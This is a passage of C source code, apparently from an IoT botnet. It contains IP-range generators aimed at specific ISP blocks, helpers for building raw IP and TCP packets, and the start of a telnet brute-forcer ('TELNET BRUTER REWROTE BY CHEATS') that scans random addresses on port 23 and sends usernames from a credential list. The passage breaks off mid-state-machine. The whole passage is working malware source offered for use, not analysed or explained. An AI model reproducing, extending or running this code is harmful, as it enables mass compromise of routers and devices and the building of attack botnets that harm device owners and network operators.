  983. if(randnum == 120)
  984. {
  985. szprintf(ip, "85.105.%d.%d", ipState[2], ipState[3]);
  986. }
  987. if(randnum == 121)
  988. {
  989. szprintf(ip, "188.3.%d.%d", ipState[2], ipState[3]);
  990. }
  991. if(randnum == 122)
  992. {
  993. szprintf(ip, "103.203.%d.%d", ipState[2], ipState[3]);
  994. }
  995. if(randnum == 123)
  996. {
  997. szprintf(ip, "103.55.%d.%d", ipState[2], ipState[3]);
  998. }
  999. if(randnum == 124)
  1000. {
  1001. szprintf(ip, "103.220.%d.%d", ipState[2], ipState[3]);
  1002. }
  1003. if(randnum == 125)
  1004. {
  1005. szprintf(ip, "183.233.%d.%d", ipState[2], ipState[3]);
  1006. }
  1007. if(randnum == 126)
  1008. {
  1009. szprintf(ip, "103.242.%d.%d", ipState[2], ipState[3]);
  1010. }
  1011. if(randnum == 127)
  1012. {
  1013. szprintf(ip, "103.198.%d.%d", ipState[2], ipState[3]);
  1014. }
  1015. if(randnum == 128)
  1016. {
  1017. szprintf(ip, "103.14.%d.%d", ipState[2], ipState[3]);
  1018. }
  1019. if(randnum == 129)
  1020. {
  1021. szprintf(ip, "103.195.%d.%d", ipState[2], ipState[3]);
  1022. }
  1023. if(randnum == 130)
  1024. {
  1025. szprintf(ip, "103.203.%d.%d", ipState[2], ipState[3]);
  1026. }
  1027. if(randnum == 131)
  1028. {
  1029. szprintf(ip, "103.214.%d.%d", ipState[2], ipState[3]);
  1030. }
  1031. if(randnum == 132)
  1032. {
  1033. szprintf(ip, "103.218.%d.%d", ipState[2], ipState[3]);
  1034. }
  1035. if(randnum == 133)
  1036. {
  1037. szprintf(ip, "103.225.%d.%d", ipState[2], ipState[3]);
  1038. }
  1039. if(randnum == 134)
  1040. {
  1041. szprintf(ip, "103.228.%d.%d", ipState[2], ipState[3]);
  1042. }
  1043. if(randnum == 135)
  1044. {
  1045. szprintf(ip, "103.231.%d.%d", ipState[2], ipState[3]);
  1046. }
  1047. if(randnum == 136)
  1048. {
  1049. szprintf(ip, "103.60.%d.%d", ipState[2], ipState[3]);
  1050. }
  1051. if(randnum == 137)
  1052. {
  1053. szprintf(ip, "103.248.%d.%d", ipState[2], ipState[3]);
  1054. }
  1055. if(randnum == 138)
  1056. {
  1057. szprintf(ip, "103.253.%d.%d", ipState[2], ipState[3]);
  1058. }
  1059. if(randnum == 139)
  1060. {
  1061. szprintf(ip, "103.255.%d.%d", ipState[2], ipState[3]);
  1062. }
  1063. if(randnum == 140)
  1064. {
  1065. szprintf(ip, "113.176.%d.%d", ipState[2], ipState[3]);
  1066. }
  1067. if(randnum == 141)
  1068. {
  1069. szprintf(ip, "113.175.%d.%d", ipState[2], ipState[3]);
  1070. }
  1071. if(randnum == 142)
  1072. {
  1073. szprintf(ip, "203.134.%d.%d", ipState[2], ipState[3]);
  1074. }
  1075. if(randnum == 143)
  1076. {
  1077. szprintf(ip, "203.210.%d.%d", ipState[2], ipState[3]);
  1078. }
  1079. if(randnum == 144)
  1080. {
  1081. szprintf(ip, "117.176.%d.%d", ipState[2], ipState[3]);
  1082. }
  1083. if(randnum == 145)
  1084. {
  1085. szprintf(ip, "117.171.%d.%d", ipState[2], ipState[3]);
  1086. }
  1087. if(randnum == 146)
  1088. {
  1089. szprintf(ip, "117.162.%d.%d", ipState[2], ipState[3]);
  1090. }
  1091. if(randnum == 147)
  1092. {
  1093. szprintf(ip, "203.150.%d.%d", ipState[2], ipState[3]);
  1094. }
  1095.  
  1096. return inet_addr(ip);
  1097. }
  1098.  
  1099. in_addr_t PhoneScan()
  1100. {
  1101. ipState[0] = 0;
  1102. ipState[1] = 0;
  1103. ipState[2] = 0;
  1104. ipState[3] = 0;
  1105. ipState[0] = rand() % 255;
  1106. ipState[1] = rand() % 255;
  1107. ipState[2] = rand() % 255;
  1108. ipState[3] = rand() % 255;
  1109. int randnum = rand() % 117;
  1110. char ip[16];
  1111. if(randnum == 0)
  1112. {
  1113. szprintf(ip, "119.157.%d.%d", ipState[2], ipState[3]);
  1114. }
  1115. if(randnum == 1)
  1116. {
  1117. szprintf(ip, "119.150.%d.%d", ipState[2], ipState[3]);
  1118. }
  1119. if(randnum == 2)
  1120. {
  1121. szprintf(ip, "119.151.%d.%d", ipState[2], ipState[3]);
  1122. }
  1123. if(randnum == 3)
  1124. {
  1125. szprintf(ip, "119.152.%d.%d", ipState[2], ipState[3]);
  1126. }
  1127. if(randnum == 4)
  1128. {
  1129. szprintf(ip, "119.153.%d.%d", ipState[2], ipState[3]);
  1130. }
  1131. if(randnum == 5)
  1132. {
  1133. szprintf(ip, "119.154.%d.%d", ipState[2], ipState[3]);
  1134. }
  1135. if(randnum == 6)
  1136. {
  1137. szprintf(ip, "119.155.%d.%d", ipState[2], ipState[3]);
  1138. }
  1139. if(randnum == 7)
  1140. {
  1141. szprintf(ip, "119.156.%d.%d", ipState[2], ipState[3]);
  1142. }
  1143. if(randnum == 8)
  1144. {
  1145. szprintf(ip, "119.157.%d.%d", ipState[2], ipState[3]);
  1146. }
  1147. if(randnum == 9)
  1148. {
  1149. szprintf(ip, "119.158.%d.%d", ipState[2], ipState[3]);
  1150. }
  1151. if(randnum == 10)
  1152. {
  1153. szprintf(ip, "119.159.%d.%d", ipState[2], ipState[3]);
  1154. }
  1155. if(randnum == 11)
  1156. {
  1157. szprintf(ip, "191.24.%d.%d", ipState[2], ipState[3]);
  1158. }
  1159. if(randnum == 12)
  1160. {
  1161. szprintf(ip, "187.119.%d.%d", ipState[2], ipState[3]);
  1162. }
  1163. if(randnum == 13)
  1164. {
  1165. szprintf(ip, "177.215.%d.%d", ipState[2], ipState[3]);
  1166. }
  1167. if(randnum == 14)
  1168. {
  1169. szprintf(ip, "152.241.%d.%d", ipState[2], ipState[3]);
  1170. }
  1171. if(randnum == 15)
  1172. {
  1173. szprintf(ip, "182.185.%d.%d", ipState[2], ipState[3]);
  1174. }
  1175. if(randnum == 16)
  1176. {
  1177. szprintf(ip, "179.80.%d.%d", ipState[2], ipState[3]);
  1178. }
  1179. if(randnum == 17)
  1180. {
  1181. szprintf(ip, "179.81.%d.%d", ipState[2], ipState[3]);
  1182. }
  1183. if(randnum == 18)
  1184. {
  1185. szprintf(ip, "179.82.%d.%d", ipState[2], ipState[3]);
  1186. }
  1187. if(randnum == 19)
  1188. {
  1189. szprintf(ip, "179.83.%d.%d", ipState[2], ipState[3]);
  1190. }
  1191. if(randnum == 20)
  1192. {
  1193. szprintf(ip, "179.84.%d.%d", ipState[2], ipState[3]);
  1194. }
  1195. if(randnum == 21)
  1196. {
  1197. szprintf(ip, "179.86.%d.%d", ipState[2], ipState[3]);
  1198. }
  1199. if(randnum == 22)
  1200. {
  1201. szprintf(ip, "179.87.%d.%d", ipState[2], ipState[3]);
  1202. }
  1203. if(randnum == 23)
  1204. {
  1205. szprintf(ip, "179.88.%d.%d", ipState[2], ipState[3]);
  1206. }
  1207. if(randnum == 24)
  1208. {
  1209. szprintf(ip, "179.89.%d.%d", ipState[2], ipState[3]);
  1210. }
  1211. if(randnum == 25)
  1212. {
  1213. szprintf(ip, "179.90.%d.%d", ipState[2], ipState[3]);
  1214. }
  1215. if(randnum == 26)
  1216. {
  1217. szprintf(ip, "179.91.%d.%d", ipState[2], ipState[3]);
  1218. }
  1219. if(randnum == 27)
  1220. {
  1221. szprintf(ip, "179.92.%d.%d", ipState[2], ipState[3]);
  1222. }
  1223. if(randnum == 28)
  1224. {
  1225. szprintf(ip, "179.93.%d.%d", ipState[2], ipState[3]);
  1226. }
  1227. if(randnum == 29)
  1228. {
  1229. szprintf(ip, "179.94.%d.%d", ipState[2], ipState[3]);
  1230. }
  1231. if(randnum == 30)
  1232. {
  1233. szprintf(ip, "179.95.%d.%d", ipState[2], ipState[3]);
  1234. }
  1235. if(randnum == 31)
  1236. {
  1237. szprintf(ip, "179.96.%d.%d", ipState[2], ipState[3]);
  1238. }
  1239. if(randnum == 32)
  1240. {
  1241. szprintf(ip, "179.97.%d.%d", ipState[2], ipState[3]);
  1242. }
  1243. if(randnum == 33)
  1244. {
  1245. szprintf(ip, "179.98.%d.%d", ipState[2], ipState[3]);
  1246. }
  1247. if(randnum == 34)
  1248. {
  1249. szprintf(ip, "179.99.%d.%d", ipState[2], ipState[3]);
  1250. }
  1251. if(randnum == 35)
  1252. {
  1253. szprintf(ip, "152.240.%d.%d", ipState[2], ipState[3]);
  1254. }
  1255. if(randnum == 36)
  1256. {
  1257. szprintf(ip, "152.241.%d.%d", ipState[2], ipState[3]);
  1258. }
  1259. if(randnum == 37)
  1260. {
  1261. szprintf(ip, "152.242.%d.%d", ipState[2], ipState[3]);
  1262. }
  1263. if(randnum == 38)
  1264. {
  1265. szprintf(ip, "152.243.%d.%d", ipState[2], ipState[3]);
  1266. }
  1267. if(randnum == 39)
  1268. {
  1269. szprintf(ip, "152.244.%d.%d", ipState[2], ipState[3]);
  1270. }
  1271. if(randnum == 40)
  1272. {
  1273. szprintf(ip, "152.245.%d.%d", ipState[2], ipState[3]);
  1274. }
  1275. if(randnum == 41)
  1276. {
  1277. szprintf(ip, "152.246.%d.%d", ipState[2], ipState[3]);
  1278. }
  1279. if(randnum == 42)
  1280. {
  1281. szprintf(ip, "152.247.%d.%d", ipState[2], ipState[3]);
  1282. }
  1283. if(randnum == 43)
  1284. {
  1285. szprintf(ip, "152.248.%d.%d", ipState[2], ipState[3]);
  1286. }
  1287. if(randnum == 44)
  1288. {
  1289. szprintf(ip, "152.249.%d.%d", ipState[2], ipState[3]);
  1290. }
  1291. if(randnum == 45)
  1292. {
  1293. szprintf(ip, "182.189.%d.%d", ipState[2], ipState[3]);
  1294. }
  1295. if(randnum == 46)
  1296. {
  1297. szprintf(ip, "182.190.%d.%d", ipState[2], ipState[3]);
  1298. }
  1299. if(randnum == 47)
  1300. {
  1301. szprintf(ip, "182.191.%d.%d", ipState[2], ipState[3]);
  1302. }
  1303. if(randnum == 48)
  1304. {
  1305. szprintf(ip, "182.188.%d.%d", ipState[2], ipState[3]);
  1306. }
  1307. if(randnum == 49)
  1308. {
  1309. szprintf(ip, "182.187.%d.%d", ipState[2], ipState[3]);
  1310. }
  1311. if(randnum == 50)
  1312. {
  1313. szprintf(ip, "182.186.%d.%d", ipState[2], ipState[3]);
  1314. }
  1315. if(randnum == 51)
  1316. {
  1317. szprintf(ip, "182.185.%d.%d", ipState[2], ipState[3]);
  1318. }
  1319. if(randnum == 52)
  1320. {
  1321. szprintf(ip, "182.184.%d.%d", ipState[2], ipState[3]);
  1322. }
  1323. if(randnum == 53)
  1324. {
  1325. szprintf(ip, "179.100.%d.%d", ipState[2], ipState[3]);
  1326. }
  1327. if(randnum == 54)
  1328. {
  1329. szprintf(ip, "179.101.%d.%d", ipState[2], ipState[3]);
  1330. }
  1331. if(randnum == 55)
  1332. {
  1333. szprintf(ip, "179.102.%d.%d", ipState[2], ipState[3]);
  1334. }
  1335. if(randnum == 56)
  1336. {
  1337. szprintf(ip, "179.103.%d.%d", ipState[2], ipState[3]);
  1338. }
  1339. if(randnum == 57)
  1340. {
  1341. szprintf(ip, "179.110.%d.%d", ipState[2], ipState[3]);
  1342. }
  1343. if(randnum == 58)
  1344. {
  1345. szprintf(ip, "179.111.%d.%d", ipState[2], ipState[3]);
  1346. }
  1347. if(randnum == 59)
  1348. {
  1349. szprintf(ip, "179.112.%d.%d", ipState[2], ipState[3]);
  1350. }
  1351. if(randnum == 60)
  1352. {
  1353. szprintf(ip, "179.113.%d.%d", ipState[2], ipState[3]);
  1354. }
  1355. if(randnum == 61)
  1356. {
  1357. szprintf(ip, "179.114.%d.%d", ipState[2], ipState[3]);
  1358. }
  1359. if(randnum == 62)
  1360. {
  1361. szprintf(ip, "179.115.%d.%d", ipState[2], ipState[3]);
  1362. }
  1363. if(randnum == 63)
  1364. {
  1365. szprintf(ip, "179.116.%d.%d", ipState[2], ipState[3]);
  1366. }
  1367. if(randnum == 64)
  1368. {
  1369. szprintf(ip, "179.117.%d.%d", ipState[2], ipState[3]);
  1370. }
  1371. if(randnum == 65)
  1372. {
  1373. szprintf(ip, "191.193.%d.%d", ipState[2], ipState[3]);
  1374. }
  1375. if(randnum == 66)
  1376. {
  1377. szprintf(ip, "191.194.%d.%d", ipState[2], ipState[3]);
  1378. }
  1379. if(randnum == 67)
  1380. {
  1381. szprintf(ip, "191.195.%d.%d", ipState[2], ipState[3]);
  1382. }
  1383. if(randnum == 68)
  1384. {
  1385. szprintf(ip, "191.196.%d.%d", ipState[2], ipState[3]);
  1386. }
  1387. if(randnum == 69)
  1388. {
  1389. szprintf(ip, "191.197.%d.%d", ipState[2], ipState[3]);
  1390. }
  1391. if(randnum == 70)
  1392. {
  1393. szprintf(ip, "191.198.%d.%d", ipState[2], ipState[3]);
  1394. }
  1395. if(randnum == 71)
  1396. {
  1397. szprintf(ip, "152.250.%d.%d", ipState[2], ipState[3]);
  1398. }
  1399. if(randnum == 72)
  1400. {
  1401. szprintf(ip, "152.251.%d.%d", ipState[2], ipState[3]);
  1402. }
  1403. if(randnum == 73)
  1404. {
  1405. szprintf(ip, "152.252.%d.%d", ipState[2], ipState[3]);
  1406. }
  1407. if(randnum == 74)
  1408. {
  1409. szprintf(ip, "152.253.%d.%d", ipState[2], ipState[3]);
  1410. }
  1411. if(randnum == 75)
  1412. {
  1413. szprintf(ip, "152.254.%d.%d", ipState[2], ipState[3]);
  1414. }
  1415. if(randnum == 76)
  1416. {
  1417. szprintf(ip, "152.255.%d.%d", ipState[2], ipState[3]);
  1418. }
  1419. if(randnum == 77)
  1420. {
  1421. szprintf(ip, "177.112.%d.%d", ipState[2], ipState[3]);
  1422. }
  1423. if(randnum == 78)
  1424. {
  1425. szprintf(ip, "177.113.%d.%d", ipState[2], ipState[3]);
  1426. }
  1427. if(randnum == 79)
  1428. {
  1429. szprintf(ip, "177.114.%d.%d", ipState[2], ipState[3]);
  1430. }
  1431. if(randnum == 80)
  1432. {
  1433. szprintf(ip, "177.115.%d.%d", ipState[2], ipState[3]);
  1434. }
  1435. if(randnum == 81)
  1436. {
  1437. szprintf(ip, "177.116.%d.%d", ipState[2], ipState[3]);
  1438. }
  1439. if(randnum == 82)
  1440. {
  1441. szprintf(ip, "177.117.%d.%d", ipState[2], ipState[3]);
  1442. }
  1443. if(randnum == 83)
  1444. {
  1445. szprintf(ip, "177.118.%d.%d", ipState[2], ipState[3]);
  1446. }
  1447. if(randnum == 84)
  1448. {
  1449. szprintf(ip, "177.119.%d.%d", ipState[2], ipState[3]);
  1450. }
  1451. if(randnum == 85)
  1452. {
  1453. szprintf(ip, "177.120.%d.%d", ipState[2], ipState[3]);
  1454. }
  1455. if(randnum == 86)
  1456. {
  1457. szprintf(ip, "177.121.%d.%d", ipState[2], ipState[3]);
  1458. }
  1459. if(randnum == 87)
  1460. {
  1461. szprintf(ip, "177.138.%d.%d", ipState[2], ipState[3]);
  1462. }
  1463. if(randnum == 88)
  1464. {
  1465. szprintf(ip, "177.139.%d.%d", ipState[2], ipState[3]);
  1466. }
  1467. if(randnum == 89)
  1468. {
  1469. szprintf(ip, "177.144.%d.%d", ipState[2], ipState[3]);
  1470. }
  1471. if(randnum == 90)
  1472. {
  1473. szprintf(ip, "177.145.%d.%d", ipState[2], ipState[3]);
  1474. }
  1475. if(randnum == 91)
  1476. {
  1477. szprintf(ip, "177.146.%d.%d", ipState[2], ipState[3]);
  1478. }
  1479. if(randnum == 92)
  1480. {
  1481. szprintf(ip, "177.147.%d.%d", ipState[2], ipState[3]);
  1482. }
  1483. if(randnum == 93)
  1484. {
  1485. szprintf(ip, "177.160.%d.%d", ipState[2], ipState[3]);
  1486. }
  1487. if(randnum == 94)
  1488. {
  1489. szprintf(ip, "177.161.%d.%d", ipState[2], ipState[3]);
  1490. }
  1491. if(randnum == 95)
  1492. {
  1493. szprintf(ip, "177.162.%d.%d", ipState[2], ipState[3]);
  1494. }
  1495. if(randnum == 96)
  1496. {
  1497. szprintf(ip, "177.163.%d.%d", ipState[2], ipState[3]);
  1498. }
  1499. if(randnum == 97)
  1500. {
  1501. szprintf(ip, "177.168.%d.%d", ipState[2], ipState[3]);
  1502. }
  1503. if(randnum == 98)
  1504. {
  1505. szprintf(ip, "177.169.%d.%d", ipState[2], ipState[3]);
  1506. }
  1507. if(randnum == 99)
  1508. {
  1509. szprintf(ip, "177.170.%d.%d", ipState[2], ipState[3]);
  1510. }
  1511. if(randnum == 100)
  1512. {
  1513. szprintf(ip, "177.171.%d.%d", ipState[2], ipState[3]);
  1514. }
  1515. if(randnum == 101)
  1516. {
  1517. szprintf(ip, "177.172.%d.%d", ipState[2], ipState[3]);
  1518. }
  1519. if(randnum == 102)
  1520. {
  1521. szprintf(ip, "189.96.%d.%d", ipState[2], ipState[3]);
  1522. }
  1523. if(randnum == 103)
  1524. {
  1525. szprintf(ip, "189.97.%d.%d", ipState[2], ipState[3]);
  1526. }
  1527. if(randnum == 104)
  1528. {
  1529. szprintf(ip, "189.98.%d.%d", ipState[2], ipState[3]);
  1530. }
  1531. if(randnum == 105)
  1532. {
  1533. szprintf(ip, "189.99.%d.%d", ipState[2], ipState[3]);
  1534. }
  1535. if(randnum == 106)
  1536. {
  1537. szprintf(ip, "39.34.%d.%d", ipState[2], ipState[3]);
  1538. }
  1539. if(randnum == 107)
  1540. {
  1541. szprintf(ip, "59.103.%d.%d", ipState[2], ipState[3]);
  1542. }
  1543. if(randnum == 108)
  1544. {
  1545. szprintf(ip, "191.12.%d.%d", ipState[2], ipState[3]);
  1546. }
  1547. if(randnum == 109)
  1548. {
  1549. szprintf(ip, "186.117.%d.%d", ipState[2], ipState[3]);
  1550. }
  1551. if(randnum == 110)
  1552. {
  1553. szprintf(ip, "179.131.%d.%d", ipState[2], ipState[3]);
  1554. }
  1555. if(randnum == 111)
  1556. {
  1557. szprintf(ip, "179.129.%d.%d", ipState[2], ipState[3]);
  1558. }
  1559. if(randnum == 112)
  1560. {
  1561. szprintf(ip, "179.170.%d.%d", ipState[2], ipState[3]);
  1562. }
  1563. if(randnum == 113)
  1564. {
  1565. szprintf(ip, "191.206.%d.%d", ipState[2], ipState[3]);
  1566. }
  1567. if(randnum == 114)
  1568. {
  1569. szprintf(ip, "187.118.%d.%d", ipState[2], ipState[3]);
  1570. }
  1571. if(randnum == 115)
  1572. {
  1573. szprintf(ip, "187.116.%d.%d", ipState[2], ipState[3]);
  1574. }
  1575. if(randnum == 116)
  1576. {
  1577. szprintf(ip, "179.224.%d.%d", ipState[2], ipState[3]);
  1578. }
  1579. if(randnum == 117)
  1580. {
  1581. szprintf(ip, "179.166.%d.%d", ipState[2], ipState[3]);
  1582. }
  1583. return inet_addr(ip);
  1584. }
  1585. in_addr_t HackerScan2() {
  1586. ipState[0] = rand() % 223;
  1587. ipState[1] = rand() % 255;
  1588. ipState[2] = rand() % 255;
  1589. ipState[3] = rand() % 255;
  1590. while(
  1591. (ipState[0] == 0) ||
  1592. (ipState[0] == 10) ||
  1593. (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  1594. (ipState[0] == 127) ||
  1595. (ipState[0] == 169 && ipState[1] == 254) ||
  1596. (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  1597. (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  1598. (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  1599. (ipState[0] == 192 && ipState[1] == 168) ||
  1600. (ipState[0] == 208 && ipState[1] == 67) ||
  1601. (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  1602. (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  1603. (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  1604. (ipState[0] >= 224)
  1605. )
  1606. {
  1607. ipState[0] = rand() % 223;
  1608. ipState[1] = rand() % 255;
  1609. ipState[2] = rand() % 255;
  1610. ipState[3] = rand() % 255;
  1611. }
  1612. char ip[16] = {0};
  1613. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1614. return inet_addr(ip);
  1615. }
  1616. int rangechoice = 1;
  1617. in_addr_t findARandomIP()
  1618. {
  1619. if(rangechoice < 1 || rangechoice > 2){
  1620. return HackerScan1();
  1621. }else{
  1622. if(rangechoice == 1){
  1623. return HackerScan1();
  1624. }else if(rangechoice == 2){
  1625. return HackerScan2();
  1626. }else{
  1627. return HackerScan1();
  1628. }
  1629. }
  1630. }
  1631. in_addr_t HackerScan(in_addr_t netmask)
  1632. {
  1633. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1634. return tmp ^ ( rand_cmwc() & ~netmask);
  1635. }
  1636. unsigned short csum (unsigned short *buf, int count)
  1637. {
  1638. register uint64_t sum = 0;
  1639. while( count > 1 ) { sum += *buf++; count -= 2; }
  1640. if(count > 0) { sum += *(unsigned char *)buf; }
  1641. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1642. return (uint16_t)(~sum);
  1643. }
  1644. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1645. {
  1646. struct tcp_pseudo
  1647. {
  1648. unsigned long src_addr;
  1649. unsigned long dst_addr;
  1650. unsigned char zero;
  1651. unsigned char proto;
  1652. unsigned short length;
  1653. } pseudohead;
  1654. unsigned short total_len = iph->tot_len;
  1655. pseudohead.src_addr=iph->saddr;
  1656. pseudohead.dst_addr=iph->daddr;
  1657. pseudohead.zero=0;
  1658. pseudohead.proto=IPPROTO_TCP;
  1659. pseudohead.length=htons(sizeof(struct tcphdr));
  1660. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1661. unsigned short *tcp = malloc(totaltcp_len);
  1662. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1663. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1664. unsigned short output = csum(tcp,totaltcp_len);
  1665. free(tcp);
  1666. return output;
  1667. }
  1668. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1669. {
  1670. iph->ihl = 5;
  1671. iph->version = 4;
  1672. iph->tos = 0;
  1673. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1674. iph->id = rand_cmwc();
  1675. iph->frag_off = 0;
  1676. iph->ttl = MAXTTL;
  1677. iph->protocol = protocol;
  1678. iph->check = 0;
  1679. iph->saddr = source;
  1680. iph->daddr = dest;
  1681. }
  1682. int sclose(int fd)
  1683. {
  1684. if(3 > fd) return 1;
  1685. close(fd);
  1686. return 0;
  1687. }
  1688. struct telstate_t
  1689. {
  1690. int fd;
  1691. unsigned int ip;
  1692. unsigned char state;
  1693. unsigned char complete;
  1694. unsigned char usernameInd;
  1695. unsigned char passwordInd;
  1696. unsigned char tempDirInd;
  1697. unsigned int totalTimeout;
  1698. unsigned short bufUsed;
  1699. char *sockbuf;
  1700. };
  1701. const char* get_telstate_host(struct telstate_t* telstate)
  1702. {
  1703. struct in_addr in_addr_ip;
  1704. in_addr_ip.s_addr = telstate->ip;
  1705. return inet_ntoa(in_addr_ip);
  1706. }
  1707. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  1708. {
  1709. int num_bytes, i;
  1710. memset(buffer, 0, buf_size);
  1711. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1712. if(buffer[0] == 0xFF)
  1713. {
  1714. negotiate(fd, buffer, 3);
  1715. }
  1716. if(contains_string(buffer, strings))
  1717. {
  1718. return 1;
  1719. }
  1720. return 0;
  1721. }
  1722. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  1723. {
  1724. fd_set read_set;
  1725. struct timeval tv;
  1726. tv.tv_sec = 0;
  1727. tv.tv_usec = timeout_usec;
  1728. FD_ZERO(&read_set);
  1729. FD_SET(fd, &read_set);
  1730. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1731. return 0;
  1732. return recv(fd, buffer, buf_size, 0);
  1733. }
  1734. int contains_success(char* buffer)
  1735. {
  1736. return contains_string(buffer, successes);
  1737. }
  1738. int contains_fail(char* buffer)
  1739. {
  1740. return contains_string(buffer, fails);
  1741. }
  1742. int contains_string(char* buffer, char** strings)
  1743. {
  1744. int num_strings = 0, i = 0;
  1745. for(num_strings = 0; strings[++num_strings] != 0; );
  1746. for(i = 0; i < num_strings; i++)
  1747. {
  1748. if(strcasestr(buffer, strings[i]))
  1749. {
  1750. return 1;
  1751. }
  1752. }
  1753. return 0;
  1754. }
  1755. //TELNET BRUTER REWROTE BY CHEATS
  1756. void StartTheLelz() {
  1757. char buf[128], cur_dir;
  1758. int maxfds = 512, i, res, j, valopt;//lets not try and kill the devices
  1759. int max = maxfds;
  1760. fd_set fdset;
  1761. struct timeval tv;
  1762. socklen_t lon;
  1763. srand(time(NULL) ^ rand_cmwc());
  1764. char line[256];
  1765. char* buffer;
  1766. struct sockaddr_in dest_addr;
  1767. dest_addr.sin_family = AF_INET;
  1768. dest_addr.sin_port = htons(23);
  1769. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1770. buffer = malloc(512 + 1);
  1771. memset(buffer, 0, 512 + 1);
  1772. struct telstate_t fds[max];
  1773. memset(fds, 0, max * (sizeof(int) + 1));
  1774. for(i = 0; i < max; i++) {
  1775. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1776. fds[i].complete = 1;
  1777. fds[i].sockbuf = buffer; }
  1778. while(1) {
  1779. for(i = 0; i < max; i++) {
  1780. if(fds[i].totalTimeout == 0) {
  1781. fds[i].totalTimeout = time(NULL); }
  1782. switch(fds[i].state) {
  1783. case 0: {
  1784. if(fds[i].complete == 1) {
  1785. char *tmp = fds[i].sockbuf;
  1786. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1787. fds[i].sockbuf = tmp;
  1788. fds[i].ip = findARandomIP(); }
  1789. else if(fds[i].complete == 0) {
  1790. fds[i].passwordInd++;
  1791. fds[i].usernameInd++;
  1792. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  1793. fds[i].complete = 1;
  1794. continue; }
  1795. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  1796. fds[i].complete = 1;
  1797. continue;
  1798. }
  1799. }
  1800. dest_addr.sin_family = AF_INET;
  1801. dest_addr.sin_port = htons(23);
  1802. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1803. dest_addr.sin_addr.s_addr = fds[i].ip;
  1804. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1805. if(fds[i].fd == -1) continue;
  1806. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1807. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1808. sclose(fds[i].fd);
  1809. fds[i].complete = 1; }
  1810. else {
  1811. fds[i].state = 1;
  1812. fds[i].totalTimeout = 0;
  1813. }
  1814. }
  1815. break;
  1816. case 1: {
  1817. FD_ZERO(&fdset);
  1818. FD_SET(fds[i].fd, &fdset);
  1819. tv.tv_sec = 0;
  1820. tv.tv_usec = 10000;
  1821. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1822. if(res == 1) {
  1823. lon = sizeof(int);
  1824. valopt = 0;
  1825. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1826. if(valopt) {
  1827. sclose(fds[i].fd);
  1828. fds[i].state = 0;
  1829. fds[i].complete = 1;
  1830. } else {
  1831. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1832. fds[i].totalTimeout = 0;
  1833. fds[i].bufUsed = 0;
  1834. memset(fds[i].sockbuf, 0, 512);
  1835. fds[i].state = 2;
  1836. } continue; }
  1837. else if(res == -1) {
  1838. sclose(fds[i].fd);
  1839. fds[i].state = 0;
  1840. fds[i].complete = 1;
  1841. continue; }
  1842. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1843. sclose(fds[i].fd);
  1844. fds[i].state = 0;
  1845. fds[i].complete = 1;
  1846. }
  1847. }
  1848. break;
  1849. case 2: {
  1850. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, advances)) {
  1851. if(contains_fail(fds[i].sockbuf)) {
  1852. fds[i].state = 0;
  1853. } else {
  1854. fds[i].state = 3; }
  1855. continue; }
  1856. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1857. fds[i].state = 0;
  1858. fds[i].complete = 1;
  1859. }
  1860. }
  1861. break;
  1862. case 3: {
  1863. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  1864. fds[i].state = 0;
  1865. fds[i].complete = 1;
  1866. continue; }
  1867. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1868. fds[i].state = 0;
  1869. fds[i].complete = 1;
  1870. continue; }
  1871. fds[i].state = 4; }
  1872. break;
  1873. case 4: {
  1874. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, advances))
  1875. {
  1876. if(contains_fail(fds[i].sockbuf)) {
  1877. fds[i].state = 0;
  1878. } else {
  1879. fds[i].state = 5; }
  1880. continue; }
  1881. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1882. fds[i].state = 0;
  1883. fds[i].complete = 1;
  1884. }
  1885. }
  1886. break;
  1887. case 5: {
